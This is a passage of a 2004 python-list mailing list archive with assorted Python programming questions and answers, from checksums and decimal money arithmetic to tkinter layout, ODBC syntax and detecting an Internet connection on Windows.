               len(self.delimiter) > 1):
             errors.append("delimiter must be one-character string")


     if isinstance(longopts, str):
         longopts = [longopts]
     else:
         longopts = list(longopts)


        if isinstance(filenames, basestring):
            filenames = [filenames]



         if isinstance(object, types.TupleType):
             argspec = object[0] or argspec
             docstring = object[1] or ""
         else:
             docstring = pydoc.getdoc(object)

The only examples I found along the lines you wanted were
in pickletools.py, copy.py, sets.py, and warnings.py.
It just isn't needed that often in Python programming.


				Andrew
				dalke at dalkescientific.com


From this at is.invalid  Thu Sep  9 08:13:09 2004
From: this at is.invalid (Mercuro)
Date: Thu, 09 Sep 2004 12:13:09 GMT
Subject: Shorter checksum than MD5
In-Reply-To: <87llfjiy59.fsf@network-theory.co.uk>
References: <nJU%c.241102$VH2.12288041@phobos.telenet-ops.be>
	<87llfjiy59.fsf@network-theory.co.uk>
Message-ID: <pNX%c.241262$cr6.12426351@phobos.telenet-ops.be>

Brian Gough wrote:

> Mercuro <this at is.invalid> writes:
> 
> 
>>I'm looking for something that is 5 bytes long, for the moment i'm
>>just taking a part of the hex md5 sum (like this: checksum =
>>md5sum[3:8]).  I don't have any duplicates, and I have over 100000
>>records, but i'm not sure for the future...  Can anybody give me
>>something better?  Or point me to some website?
> 
> 
> For making a smaller hash, I think your approach is a good one since
> you can easily increase the length if you need to.
> 
> For comparing two databases, maybe there are other options not using a
> hash though (e.g.  keeping a log of which records have changed since
> the last comparison).
> 

thx

please read the reply under Paul Rubin for more 
information about the compare thingy. It's a bit 
to long to post twice.


From alanmk at hotmail.com  Thu Sep  9 05:45:23 2004
From: alanmk at hotmail.com (Alan Kennedy)
Date: Thu, 09 Sep 2004 10:45:23 +0100
Subject: how to build simple FSM using generators ?
In-Reply-To: <63b5e209.0409081225.345ae973@posting.google.com>
References: <63b5e209.0409081225.345ae973@posting.google.com>
Message-ID: <4yV%c.26886$Z14.8936@news.indigo.ie>

[Joh]
> i've readed "Charming Python: Generator-based state machines"
> www-106.ibm.com/developerworks/ linux/library/l-pygen.html , but i
> still can not get the point on how using generator for FSM
> 
> i'm interested in a very simple FSM which would be able to recognize
> consecutive sequence of texts, please can someone give me a hint on
> how to do this using yield ?

Have you seen this old post of mine, which looks like it might be 
relevant to you.

http://groups.google.com/groups?selm=3ED622CA.4B01E3C1%40hotmail.com

regards,

-- 
alan kennedy
------------------------------------------------------
email alan:              http://xhaus.com/contact/alan


From fumanchu at amor.org  Tue Sep 14 00:16:43 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Mon, 13 Sep 2004 21:16:43 -0700
Subject: apache error
Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022ED1@exchange.hqamor.amorhq.net>

someguy wrote:
>     	I realise that this might not be the appropriate 
> newgroup for this 
> question but there isn't a newsgroup on apache.
> I'm using python to do some cgi programming and i'm using DOM 
> to sort a 
> table when the user clicks on a different heading.  Here is a 
> sniplet of 
> code:
>     	<th class = 'head'><a href="" 
> onclick="sortTable(0)">Rank</a></th>
> 
> 
> The sortTable() is a javascript method in an external file.
> For some reason i got a the following error when i click on the table 
> header:
> 
>     	Forbidden
>     	You don't have permission to access /cgi-bin/ on this server.
> 
>     	Apache/2.0.50 (Win32) mod_python/3.1.3 Python/2.3.3 
> PHP/4.3.8 Server     
> 	at 24.156.164.6 Port 80
> 
> I'm running Apache on Windows Xp.  Any suggestions as to what 
> premission 
> needs to be changed?

Try changing href="" to href="http://www.google.com" and I think you'll
see you aren't canceling the hyperlink. Even though your onclick event
may be fired, the hyperlink is still being invoked. Since you left href
blank, it assumes you want the default page of the root directory, in
your case, /cgi-bin/, and takes you there. Or tries to. Try this
instead:

<th class='head'><a href="javascript:void(sortTable(0))">Rank</a></th>


Robert Brewer
MIS
Amor Ministries
fumanchu at amor.org


From http  Tue Sep 21 14:56:30 2004
From: http (Paul Rubin)
Date: 21 Sep 2004 11:56:30 -0700
Subject: Why not FP for Money?
References: <cc887c1d.0409202325.76ec2227@posting.google.com>
Message-ID: <7x8yb3o3hd.fsf@ruckus.brouhaha.com>

Barkmann at gmail.com (Chris Barker) writes:
> I've seen it suggested various times that one should use fixed point
> for money, perhaps micro cents represented as integers. However, if
> you do that, you need to make sure you do all the rounding correctly.

Yes, "correctly" means "exactly the way decimal arithmetic does it,
and if your answer is different in the slightest, the auditors are
all over your ass".

> If you were to use FP, you could have your IEEE 754 hardware do the
> rounding for you

But you'll get different answers than decimal arithmetic would give
you, so the auditors will be all over your ass if you do it that way.
You don't want that.  You need decimal arithmetic.

> and get better performance to boot. 

This is one situation where really, nobody cares about performance.
Accounting programs simply don't spend any significant fraction of
their CPU time doing arithmetic on money amounts.  It's all I/O,
database lookups, etc.


From johnfkeeling at yahoo.com  Thu Sep  2 09:13:38 2004
From: johnfkeeling at yahoo.com (John Keeling)
Date: 2 Sep 2004 06:13:38 -0700
Subject: import pyd from zip file
Message-ID: <35b736b9.0409020513.598fc4e0@posting.google.com>

I'm using Py 2.3.4, and have been trying to import a pyd that has been
compressed in a zip file. It is not found with an ImportError. The pyd
works fine when uncompressed. I've had no problem importing py and pyc
files from a zip file.

Am I doing something wrong? Is zipimport not designed for pyds? ... or
is it an ommission in the functionality of zipimport? I looked at the
bugs database, and didn't see a mention of this.
Thanks,
John


From martin at v.loewis.de  Tue Sep 21 14:26:54 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Tue, 21 Sep 2004 20:26:54 +0200
Subject: build 64bit python on Solaris
In-Reply-To: <cipn3b$mbv$1@news1nwk.SFbay.Sun.COM>
References: <cinvi4$ndj$1@news1nwk.SFbay.Sun.COM>
	<414fc272$0$19020$9b622d9e@news.freenet.de>
	<cipn3b$mbv$1@news1nwk.SFbay.Sun.COM>
Message-ID: <4150726e$0$26130$9b622d9e@news.freenet.de>

Jhy-Chun Wang wrote:
> 
> I need to load 64bit C++ modules, will 32bit python do the work? I did 
> try -g alone, but still failed with the same error.

No, in that case, you will need a 64-bit version.

Something is wrong in your system (it might be Python, it might be your
system). However, I cannot start guessing what it might be. So you need
to use a debugger and find out why it crashes. It looks like it is a
problem with memory management, so be prepared for very long debugging
sessions.

Good luck,
Martin


From tdelaney at avaya.com  Thu Sep 16 22:34:06 2004
From: tdelaney at avaya.com (Delaney, Timothy C (Timothy))
Date: Fri, 17 Sep 2004 12:34:06 +1000
Subject: threads and classes
Message-ID: <338366A6D2E2CA4C9DAEAE652E12A1DE4A8FED@au3010avexu1.global.avaya.com>

Alberto Vera wrote:

> Could you tell me How I can make a class that contains 2 thread of 2
> methods? 

http://www.catb.org/~esr/faqs/smart-questions.html

Tim Delaney


From SBrunning at trisystems.co.uk  Wed Sep  1 11:08:34 2004
From: SBrunning at trisystems.co.uk (SBrunning at trisystems.co.uk)
Date: Wed, 1 Sep 2004 16:08:34 +0100 
Subject: sys.stdin.readline()
Message-ID: <9EED4A0E5EFBD811901100600846864D061083@intrepid>

> From: Mike Maxwell [mailto:maxwell at ldc.upenn.edu]
>
> Thank you also to Simon B. (simon at brunningonline.net) for 
> pointing me to 
> his one-liner implementation, which is much better than I 
> {w|c}ould have 
> done.

Oh, it's not mine. I've not even *used* it - it looks evil in the extreme to
me. But I remembered its existance, so I thought I'd point it out.

Cheers,
Simon B.
simon at brunningonline.net
http://www.brunningonline.net/simon/blog/  




-----------------------------------------------------------------------
The information in this email is confidential and may be legally privileged.
It is intended solely for the addressee. Access to this email by anyone else
is unauthorised. If you are not the intended recipient, any disclosure,
copying, distribution, or any action taken or omitted to be taken in
reliance on it, is prohibited and may be unlawful. TriSystems Ltd. cannot
accept liability for statements made which are clearly the senders own.


From jepler at unpythonic.net  Thu Sep  2 10:14:35 2004
From: jepler at unpythonic.net (Jeff Epler)
Date: Thu, 2 Sep 2004 09:14:35 -0500
Subject: YOU ALL SUCK!
In-Reply-To: <Xns9558DF032E46ebohlmanomsdevcom@130.133.1.4>
References: <1bf5bcb9.15695836@aol.com>
	<Xns9558DF032E46ebohlmanomsdevcom@130.133.1.4>
Message-ID: <20040902141435.GF24397@unpythonic.net>

On Thu, Sep 02, 2004 at 06:17:05AM +0000, Eric Bohlman wrote:
> "Amanita, Love Ewe" <ladyamanita at aol.com> wrote in
> news:1bf5bcb9.15695836 at aol.com: 
> 
> > Sharon expects the printer within hers and actually looks.  Why will
> > you grasp the ugly worthwhile onions before Satam does?  Many proud 
> > cats over the abysmal planet were loving against the tired bathroom.  
> 
> This seems to be of somewhat better quality than the output of the typical 
> random-text generator.  Can anyone suggest something on CPAN useful for 
> such?

I'd guess that the text was generated from a grammar, rather than by a
dissociated-press type algorithm.  Two examples of "generate text from a
grammar" are the dada engine[1] with its famous grammar, the pomo
generator[2] and my own Novelwriting[3] for Python, which gave me 15
minutes^Wseconds of fame with "rottenflesh"[4]. (grammar at [5])

Jeff
[1] http://dev.null.org/dadaengine/
[2] http://www.elsewhere.org/cgi-bin/postmodern/
[3] http://unpythonic.net/~jepler/novelwriting/
[4] http://unpy.net/~jepler/cgi-bin/novelwriting.cgi?s=rottenflesh.nw
[5] http://unpythonic.net/~jepler/novelwriting/scripts/rottenflesh.nw
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20040902/4984b2ba/attachment.sig>

From duncan.booth at invalid.invalid  Wed Sep 22 04:33:56 2004
From: duncan.booth at invalid.invalid (Duncan Booth)
Date: 22 Sep 2004 08:33:56 GMT
Subject: Somthing strange with list as default argument
References: <415135a2$0$2388$626a14ce@news.free.fr>
Message-ID: <Xns956C61491ABC8duncanrcpcouk@127.0.0.1>

Julien Sagnard wrote:

> When passing a list as default argument for a function, only one list is 
> created for all calls.
> exemple:

<example snipped>

> 
> I'm not found any reference of this. Is it a bug ?
> I'm working on Windows 2000 with python 2.3.4
> 

You didn't search hard enough (although its not that easy a thing to search 
for if you don't know the answer).

Please read the FAQ:

http://www.python.org/doc/faq/general.html#why-are-default-values-shared-between-objects



From steve at holdenweb.com  Wed Sep 29 08:26:25 2004
From: steve at holdenweb.com (Steve Holden)
Date: Wed, 29 Sep 2004 08:26:25 -0400
Subject: odbc error
In-Reply-To: <cje8bg$t9m$1@lacerta.tiscalinet.it>
References: <cje8bg$t9m$1@lacerta.tiscalinet.it>
Message-ID: <wVx6d.255765$4o.114520@fed1read01>

Michele Petrazzo wrote:

> I'm using odbc on win95 and I have an incomprehensible error after a query:
> 
> INSERT INTO test VALUES (f1,f2,f3) VALUES ("t1", "t2", "")
> 
> table test and fields f1,f2,f3 exists :) and I can write to this table.
> 
> The error is :
> [Microsoft][Driver ODBC dBase] Too few parameters. Expected 2.
> 
> What can I do?
> 
The easiest thing to do is use correct syntax, which should put single 
quotes around string literals. The ODBC drivers tend to use standard SQL 
syntax even when the underlying database is a bit more liberal. Try

INSERT INTO test VALUES (f1,f2,f3) VALUES ('t1', 't2', '')

and see if that works.

regards
  Steve


From brandizzi at gmail.com  Tue Sep 21 15:22:08 2004
From: brandizzi at gmail.com (Adam Victor Nazareth Brandizzi)
Date: Tue, 21 Sep 2004 16:22:08 -0300
Subject: python ides
In-Reply-To: <41507c8f$0$25693$636a15ce@news.free.fr>
References: <cip735$e01$1@sea.gmane.org>
	<mailman.3662.1095789622.5135.python-list@python.org>
	<41507c8f$0$25693$636a15ce@news.free.fr>
Message-ID: <9f05ad5804092112222bc5ceb7@mail.gmail.com>

On Tue, 21 Sep 2004 21:03:02 +0200, bruno modulix <onurb at xiludom.gro> wrote:
> "Proyect" ? Seems like our friend the troll Julio has changed its skin...

Dubious... It seems to be a hispanic[1] typo...

[1] Or italic, polish, greek... something like it :)


-- 
Adam Victor Nazareth Brandizzi
Estudante de Ci?ncia da Computa??o - UnB - Usu?rio Linux n? 366316
ICQ: 168537710 | Jabber: bardo0 at myjabber.net | Telefone: (61)9639 5258
"Real programmers don't use Pascal: just the integer ones can do it."


From just at xs4all.nl  Sun Sep  5 01:26:00 2004
From: just at xs4all.nl (Just)
Date: Sun, 05 Sep 2004 07:26:00 +0200
Subject: docs on for-loop with no __iter__?
References: <mailman.2873.1094321890.5135.python-list@python.org>
	<bMp_c.7491$w%6.1810@newsread1.news.pas.earthlink.net>
	<mailman.2879.1094332737.5135.python-list@python.org>
	<Fvq_c.379$ip2.170@newsread3.news.pas.earthlink.net>
	<mailman.2883.1094340967.5135.python-list@python.org>
Message-ID: <just-84B6A6.07255905092004@news1.news.xs4all.nl>

In article <mailman.2883.1094340967.5135.python-list at python.org>,
 Steven Bethard <steven.bethard at gmail.com> wrote:

> Andrew Dalke <adalke <at> mindspring.com> writes:
> > Steven Bethard wrote:
> > > Presumably there was a reason not to use len() to determine
> > > the end of the sequence?
> > 
> > Because that allows iteration over things where
> > you don't yet know the size.
> 
> I'm trying to imagine a situation where it makes sense to want the x[i] 
> behavior from __getitem__ but where you don't know the final index.  x[i] 
> suggests random access, so if you don't really have random access, shouldn't 
> you be defining __iter__ instead?  Are there some good examples of classes 
> that allow the x[i] indexing but don't support random access (e.g. you can do 
> only do x[2] after you do x[1])?

You're looking at it from a wrong totally wrong direction. The iterator 
protocol did not exist prior to Python 2.2, and "__getitem__ iteration" 
was the only way to implement custom iteration behavior. Its 
limitiations were (I think) a major incentive to create something 
better. In fact, the "new" iteration protocol is so brilliant, obvious 
and simple, that it's hard to see how we ever did without it, or even 
why noone invented it earlier...

In other words: you're looking at a legacy protocol.

Just


From bill.ramsay at clear.net.nz  Wed Sep  1 22:57:47 2004
From: bill.ramsay at clear.net.nz (bill ramsay)
Date: 1 Sep 2004 19:57:47 -0700
Subject: detecting boxes in windows using python
Message-ID: <a1e5746a.0409011857.6dc229d3@posting.google.com>

Dear all.

I am using an existing hodge-podge of an application that runs on top
of an Access database.  This application dials up customer equipment, 
handshakes then downloads/uploads various bits of information in the
access database.

The original application is designed for some poor sod to sit there
for hours and manually do the necessary.

I have automated various processes by 'back filling' the access
database,  thereby fooling the application into doing what I want.

The problem that I have is that if the application comes across a busy
signal, or if the call fails for what ever reason, it displays an
error dialog box on the pc.  If there are a lot of these,  it causes
the app to hang.

The underlying log files in the access database are still updated.

Is there a way in python to detect these dialog boxes,  then
effectively close them?  either by pressing the boxes own close
button, or the little cross thingy on the top right corner (i don't
know what it is called).

The OS is win2k, latest service pack.

Any help that any of you can offer will be most greatfully received.

Kind regards

Bill


From gandreas at no.reply  Mon Sep 27 13:07:49 2004
From: gandreas at no.reply (Glenn Andreas)
Date: Mon, 27 Sep 2004 12:07:49 -0500
Subject: [Mac OS X] How to create double-clickable Python scripts
References: <cj9fuk$7ci$01$1@news.t-online.com>
Message-ID: <gandreas-CE520E.12074827092004@news.mpls.visi.com>

In article <cj9fuk$7ci$01$1 at news.t-online.com>, Markus <m.a.r.k at gmx.de> 
wrote:

> Hello,
> 
> I've written a couple of Python scripts on OS X that I would like to 
> start from the Finder by doing a double-click on them. I guess I have to 
> create a Package.
> 
> Does anybody know an easy way to create such a package? Or where can I 
> find more information about how to do this manually?
> 

If all you want to do is make a simple script that does nothing more 
than standard input/output, you can use PyOXIDE's "Build Consolet" 
command to make a simple little "console applet". 
<http://projects.gandreas.com/pyoxide>

If you want a full blown UI, you'll probably want to use PyObjC and 
bundlebuilder to actually make the final app.


From aleaxit at yahoo.com  Tue Sep 14 10:12:04 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Tue, 14 Sep 2004 16:12:04 +0200
Subject: tkinter - grid layout question
References: <mailman.3296.1095166629.5135.python-list@python.org>
Message-ID: <1gk426h.1yehnl7vx6cw0N%aleaxit@yahoo.com>

Ajay <abra9823 at mail.usyd.edu.au> wrote:

> hi!
> 
> is it possible to make a widget span more than one column in a grid?
> i have two radio buttons in row=1, column=0 and 1
> now in row 2 i have a listbox. i'd like it to span both columns. how would
> i do that?

thelistbox.grid(row=2, columnspan=2)


Alex


From shilmahr at despammed.com  Thu Sep 23 17:47:37 2004
From: shilmahr at despammed.com (Sven Hilmahr)
Date: Thu, 23 Sep 2004 23:47:37 +0200
Subject: python 2.3.4 installation as framework (Mac OSX): test failed
Message-ID: <1gklalf.1tj9aehad7kd6N%shilmahr@despammed.com>

Hello,
I tried to do a Python 2.3.4 framework installation  on my Mac OS X
10.3.5. I configured as described in /Mac/OSX/ReadMe:

./configure --enable-framework

But on make test, one test failed:

test test_macostools failed -- Traceback (most recent call last):
  File "/Users/sven/Downloads/Python-2.3.4/Lib/test/test_macostools.py",
line 78, in test_mkalias_relative
    macostools.mkalias(test_support.TESTFN, TESTFN2, sys.prefix)
  File "/Users/sven/Downloads/Python-2.3.4/Lib/plat-mac/macostools.py",
line 39, in mkalias
    relativefsr = File.FSRef(relative)
Error: (-43, 'File not found')

Here is the content of the files mentioned in the error notification:

/Users/sven/Downloads/Python-2.3.4/Lib/test/test_macostools.py:

73    def test_mkalias_relative(self):
74        try:
75           os.unlink(TESTFN2)
76        except:
77            pass
78        macostools.mkalias(test_support.TESTFN, TESTFN2, sys.prefix)
79        fss, _, _ = Carbon.File.ResolveAliasFile(TESTFN2, 0)
80        self.assertEqual(fss.as_pathname(),
os.path.realpath(test_support.TESTFN))


/Users/sven/Downloads/Python-2.3.4/Lib/plat-mac/macostools.py:

27 # Not guaranteed to be correct or stay correct (Apple doesn't tell
you
28 # how to do this), but it seems to work.
29 #
30 def mkalias(src, dst, relative=None):
31     """Create a finder alias"""
32     srcfsr = File.FSRef(src)
33     # The next line will fail under unix-Python if the destination
34     # doesn't exist yet. We should change this code to be
fsref-based.
35     dstdir, dstname = os.path.split(dst)
36     if not dstdir: dstdir = os.curdir
37     dstdirfsr = File.FSRef(dstdir)
38     if relative:
39         relativefsr = File.FSRef(relative)


I have no idea how to fix this. Does the comment "The next line will
fail under unix-Python if the destination doesn't exist yet"? mean that
I have ro create some directory first? Which one?

If I do a ./configure without the --enable-framework option, no tests
fail. Can you help me?

Thanks, Sven


From jussij at zeusedit.com  Mon Sep 20 03:03:50 2004
From: jussij at zeusedit.com (Jussi Jumppanen)
Date: Mon, 20 Sep 2004 17:03:50 +1000
Subject: python is going to die! =(
References: <mailman.3520.1095631846.5135.python-list@python.org>
Message-ID: <414E80D6.3657@zeusedit.com>

julio wrote:

> No help in real programing? 

If you work on the Windows platform then take a look at 
the Zeus programmers editor:

  http://www.zeusedit.com/lookmain.html

> why? why do i need to press a retarded button
> to indent-deindent reindent stuff but i dont need help with 

Zeus has SmartIndent which automatically handles the indenting
of code. When it comes to indenting it even understands the 
special needs of Python :)

> integrated help system, 

Zeus has QuickHelp. Point it a WinHelp or HtmlHelp file and it 
will do the rest:

  http://www.zeusedit.com/forum/viewforum.php?f=7

> code completion, source assistant, a freaking decent calltips 
> support, etc ? 

Zeus has templates macros even intellisensing. You can also 
write macros using Python.

Best of all Zeus does not care language you program in. It will
also work just as well as an IDE for c# :)

Jussi Jumppanen
http://www.zeusedit.com


From claird at lairds.us  Mon Sep 20 12:08:05 2004
From: claird at lairds.us (Cameron Laird)
Date: Mon, 20 Sep 2004 16:08:05 GMT
Subject: Microthreads without Stackless?
References: <mailman.3171.1094844869.5135.python-list@python.org>
	<g9P2d.20874$7g2.11628@newssvr27.news.prodigy.com>
	<8cf9f521.0409181021.6db6a3e4@posting.google.com>
	<5cq3d.17537$QJ3.13088@newssvr21.news.prodigy.com>
Message-ID: <asa322-ui9.ln1@lairds.us>

In article <5cq3d.17537$QJ3.13088 at newssvr21.news.prodigy.com>,
Bryan Olson  <fakeaddress at nowhere.org> wrote:
			.
		[much else that 
		merits comment]
			.
			.
>Microsoft Windows and Apple Mac-OS had cooperative multi-tasking
>when they took over most of the world.  They certainly had
>problems, but that intra-process threading was cooperative was
>not high on the problem list.  (The way separate processes could
>effect each other, that was a problem.)
			.
			.
			.
We *definitely* have a lot of concepts running around now.
Windows and MacOS certainly did "take over the world" when
their multi-tasking was primitively co-operative.  The
usability problems with that are an artifact of the *inter*-
process model.  I don't think anyone in this thread has
said ...--well, whatever "intra-process threading ... was
not high on the problem list" doesn't negate what *I* read
as others' points.

>From what I can tell, Windows *still* has problems with the
separate process affecting each other.  I think that, too,
is a different matter.


From raims at dot.com  Thu Sep  2 04:48:11 2004
From: raims at dot.com (Lawrence Oluyede)
Date: Thu, 2 Sep 2004 10:48:11 +0200
Subject: .net and python
References: <mailman.2758.1094113688.5135.python-list@python.org>
Message-ID: <xzh9kwuw4lj8$.18shw4j93827i.dlg@40tude.net>

In data Thu,  2 Sep 2004 18:28:03 +1000, Ajay ha scritto:

> Is it possible for me to have part of my application written using C#.NET
> and then have it called from within a Python program.

Try Python.NET http://www.zope.org/Members/Brian/PythonNet/index_html
>From there you can access dotNET libraries within a Python program

-- 
Lawrence (l dot oluyede at virgilio dot it)
"If the implementation is hard to explain, it's a bad idea."
from The Zen of Python by Tim Peters


From markus.cl at gmx.de  Thu Sep 23 13:53:02 2004
From: markus.cl at gmx.de (Markus Dehmann)
Date: 23 Sep 2004 10:53:02 -0700
Subject: Python for Perl programmers?
References: <c1e48b51.0409201820.217e1dd@posting.google.com>
Message-ID: <c1e48b51.0409230953.7a62a5b5@posting.google.com>

markus.cl at gmx.de (Markus Dehmann) wrote in message news:<c1e48b51.0409201820.217e1dd at posting.google.com>...

> I am using perl for everything, even bigger programs, with objects,
> uh, modules and stuff. I know pretty much every trick in perl and have
> a lot of experience.
> 
> But I'd like to try a cleaner language, where you don't have to type
> so much crap to create a class etc. So, I wanna give python a try.
> 
> Is there a tutorial that takes all the standard perl things and then
> explains how to do them in python? That would be perfect. Open a file,
> take all the words, put them in a hash, do something with them, print
> the result in a formatted way, write it to a new file etc. Create a
> class that downloads newsgroups, etc. Things like that.

Thanks for all your suggestions!! I found exactly what I need.

Thanks
Markus


From jjl at pobox.com  Thu Sep 23 16:36:59 2004
From: jjl at pobox.com (John J. Lee)
Date: 23 Sep 2004 21:36:59 +0100
Subject: socket timeout / m2crypto.urllib problems
References: <mailman.3750.1095886594.5135.python-list@python.org>
Message-ID: <871xgsu3h0.fsf@pobox.com>

John Hunter <jdhunter at ace.bsd.uchicago.edu> writes:
[...]
> Any ideas?  Is there a better/easier way to get https docs in python?
[...]

Python 2.3 has https support built-in even on Windows.


John


From listsub at wickedgrey.com  Thu Sep 23 20:44:05 2004
From: listsub at wickedgrey.com (Eli Stevens (WG.c))
Date: Thu, 23 Sep 2004 17:44:05 -0700
Subject: good way to do side effects on lists?
In-Reply-To: <44qdnTS-mqa0wM7cRVn-rg@giganews.com>
References: <415208a1$1_4@news3.es.net>
	<cit221$a33$1@pegasus.csx.cam.ac.uk>	<85bc2819.0409230702.2a5c4ab5@posting.google.com>	<4153315a$0$17453$636a15ce@news.free.fr>
	<44qdnTS-mqa0wM7cRVn-rg@giganews.com>
Message-ID: <41536DD5.90905@wickedgrey.com>

Istvan Albert wrote:
> now let's turn on psyco:
> 
> import psyco
> psyco.full()
...
> oh boy.

Judging from this post:

http://groups.google.com/groups?hl=en&lr=lang_en&ie=UTF-8&selm=2259b0e2.0308240638.38350cba%40posting.google.com

It seems like Psyco can detect simple "hey, let's see how fast this can 
go with Psyco" tests, and can give skewed results.  I wouldn't expect a 
50x improvement in the general case (though if you have to do simplistic 
things over and over, Psyco is the way to go ;).

I'm not trying to bash Psyco - two lines netting a 2x speed boost is 
great, but it's good to avoid setting expectations too high.  :)  I 
started experimenting with Psyco a few weeks ago, and found I was 
getting about 2x for my application.  ISTR the docs saying that more 
numerical stuff worked well with Psyco; the OP hinted that there was 
number crunching involved.  Certainly worth a look.

Eli


From dave at pythonapocrypha.com  Mon Sep 20 10:27:06 2004
From: dave at pythonapocrypha.com (Dave Brueck)
Date: Mon, 20 Sep 2004 08:27:06 -0600
Subject: Determining if a client PC has an Internet connection
In-Reply-To: <1095578301.31957.263.camel@devilbox.devilnet.internal>
References: <1095578301.31957.263.camel@devilbox.devilnet.internal>
Message-ID: <414EE8BA.3030405@pythonapocrypha.com>

Cliff Wells wrote:
> I'm writing an application that needs to know if an Internet connection
> is available.
[snip]
> Is there any way to reliably determine the state of the client's
> internet connectivity?

Hi Cliff,

On a Win32 system you can reliably determine the state of the Internet 
connection but it requires a fair amount of work. Here's the recipe I use:

1) If the user has a modem and is connected via a modem, you know for sure that 
the user is online (use ctypes to call rasapi32.RasEnumEntriesA to see if the 
user has a modem, and rasapi32.RasEnumConnectionsA to see if the user is 
connected via a modem)

2) If that test fails, next check for open connections to remote hosts. If there 
are any open connections to public IP addresses, the user is "online". (use 
iphlpapi.GetTcpTable to get a list of connections, and keep only those where 
dwState is MIB_TCP_STATE_ESTAB. Remove any addresses that are 127.0.0.1, 10.*, 
192.168.*, or 172.16-31.*). If after all this the list is non-empty, you're 
probably online.

3) Still no luck? Call IcmpSendEcho to a well-known server - this sends a "ping" 
packet, which won't bring up the dial-up networking box to annoy your users. I 
usually start with a list of all the DNS root servers as well as pingable 
company IP addresses, and randomly choose one of them. Then, anytime I make a 
connection to the Internet, I save the results of the hostname lookup and use 
them in my list as well (so that very few pings actually go to the DNS root 
servers). Also, it's good to make sure that your code has restrictions in place 
to prevent it from pinging anything too often. Due to instant messengers & email 
clients, step #2 usually detects when the user is online, so the need for an 
actual ping is greatly reduced.

Anyway, after doing the above you know with a high degree of certainty whether 
or not the user is online.

The above approach is obviously a lot of work, but once you take the time to do 
it you can just stick it in a library somewhere and not have to think about it 
again. On import of the library, I start up a background thread that updates a 
status variable every second or so, so that any time my app can query to see the 
state of the Internet connection. Although it's a lot of work, I've found that 
(1) it's pretty accurate and (2) it's non-intrusive (it doesn't e.g. pop up the 
dial-up networking dialog box if the user is offline).

Hope at least some of this helps,
Dave


From cbuffer at NOSPAMrosecott.ukfsn.org  Mon Sep 13 17:36:41 2004
From: cbuffer at NOSPAMrosecott.ukfsn.org (Ken Parkes)
Date: Mon, 13 Sep 2004 22:36:41 +0100
Subject: #comments
References: <pan.2004.09.13.21.27.31.291385@NOSPAMrosecott.ukfsn.org>
	<pan.2004.09.13.21.33.26.100772@NOSPAMrosecott.ukfsn.org>
Message-ID: <pan.2004.09.13.21.36.41.766093@NOSPAMrosecott.ukfsn.org>


Oh lord, start again:-

		data=raw_input("Type something  ") # spacer after "something"
		myInput=data
		print "You typed " myInput  # and again
		print "The fourth character is "myInput[3]  # and again




From barross at web.de  Sat Sep  4 14:18:38 2004
From: barross at web.de (Hans Dembinski)
Date: Sat, 04 Sep 2004 20:18:38 +0200
Subject: Is it possible?: cat text.txt |
	python_script_which_also_gets_user_input.py
Message-ID: <413a06fc@news.kullen.rwth-aachen.de>

Hi there,

I run in a problem with a script, that shall work similar like the c-program
"most". It should be able to get some text on execution via a pipe but also
is interactive by the user via the curses module (for scrolling and stuff).
The problem is: if you call the script like that, you connect stdin to
text.txt and any later keyboard input is ignored, since curses also reads
from stdin.
I have the rather blurry impression that this could be possible with
threading or forking inside the script, but I nether did things like that
before and am hopeful to get some cool advice from you experienced
guys. :-)


From maxwell at ldc.upenn.edu  Thu Sep  2 08:30:51 2004
From: maxwell at ldc.upenn.edu (Mike Maxwell)
Date: Thu, 02 Sep 2004 08:30:51 -0400
Subject: need an idea, recognize sequence, fsm or genetic ?
In-Reply-To: <63b5e209.0409012321.5850291f@posting.google.com>
References: <63b5e209.0409012321.5850291f@posting.google.com>
Message-ID: <ch73me$8l6n$1@netnews.upenn.edu>

Joh wrote:
> here is my trouble, i would to like to write a program which could
> help me to detect sequence of consecutive words in list in a very
> efficient way. 

These repeats are called "tandem arrays."  Algorithms for quickly 
finding them (and many other useful patterns) are given in

	Gusfield, Dan.  1997.  Algorithms on strings,
	trees and sequences.  Cambridge: Cambridge
	University Press.

Gusfield has a web site
	http://wwwcsif.cs.ucdavis.edu/~gusfield/
with downloadable software.  I don't recall whether his web site talks 
about tandem arrays, but I'm sure you could google the term...

	Mike Maxwell


From carribeiro at gmail.com  Thu Sep 23 08:02:54 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Thu, 23 Sep 2004 09:02:54 -0300
Subject: [OT] "Pre-announcement" of Python-based "computing appliance"
	project.
In-Reply-To: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com>
References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com>
Message-ID: <864d370904092305026f41795@mail.gmail.com>

I really like this kind of stuff. Information management, knowledge
management, complexity management, you name it -- it's a increasingly
interesting topic. Appliances also are relevant, as it is seamless
networking.

I heed you to check Microsoft's documents on "how Longhorn will be
great" :-) Seriously, they're working hard to create a new paradigm
for the Windows desktop, and some of the things that you talk about
are discussed there too -- namely, they're hiding folders, drive
names, etc, from the user view, and creating a new and much simplified
user interface. Google is known to be working on something similar --
your computer will be just a big Google-indexed repository of
information. No more trying to file things into folders, Google will
categorize and locate things back for you in a snap.

A project of this size is really big and ambitious. A suggestion is to
create a new mailing list and to start discussing it there. If it's in
Python, I'm sure you can thrown baits here at c.l.py from time to time
to hook new people :-)

-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From nigel.king at orthogonsystems.com  Thu Sep 30 10:17:59 2004
From: nigel.king at orthogonsystems.com (Nigel King)
Date: Thu, 30 Sep 2004 15:17:59 +0100
Subject: multiple instance on Unix
In-Reply-To: <415C05E5.5040108@hotmail.com>
References: <52324E76-123E-11D9-B04E-0003938543A0@orthogonsystems.com>	<415AF802.1080909@bellsouth.net>	<D3967BB1-125F-11D9-B04E-0003938543A0@orthogonsystems.com>
	<mailman.4130.1096547595.5135.python-list@python.org>
	<415C05E5.5040108@hotmail.com>
Message-ID: <883EE278-12EB-11D9-B04E-0003938543A0@orthogonsystems.com>


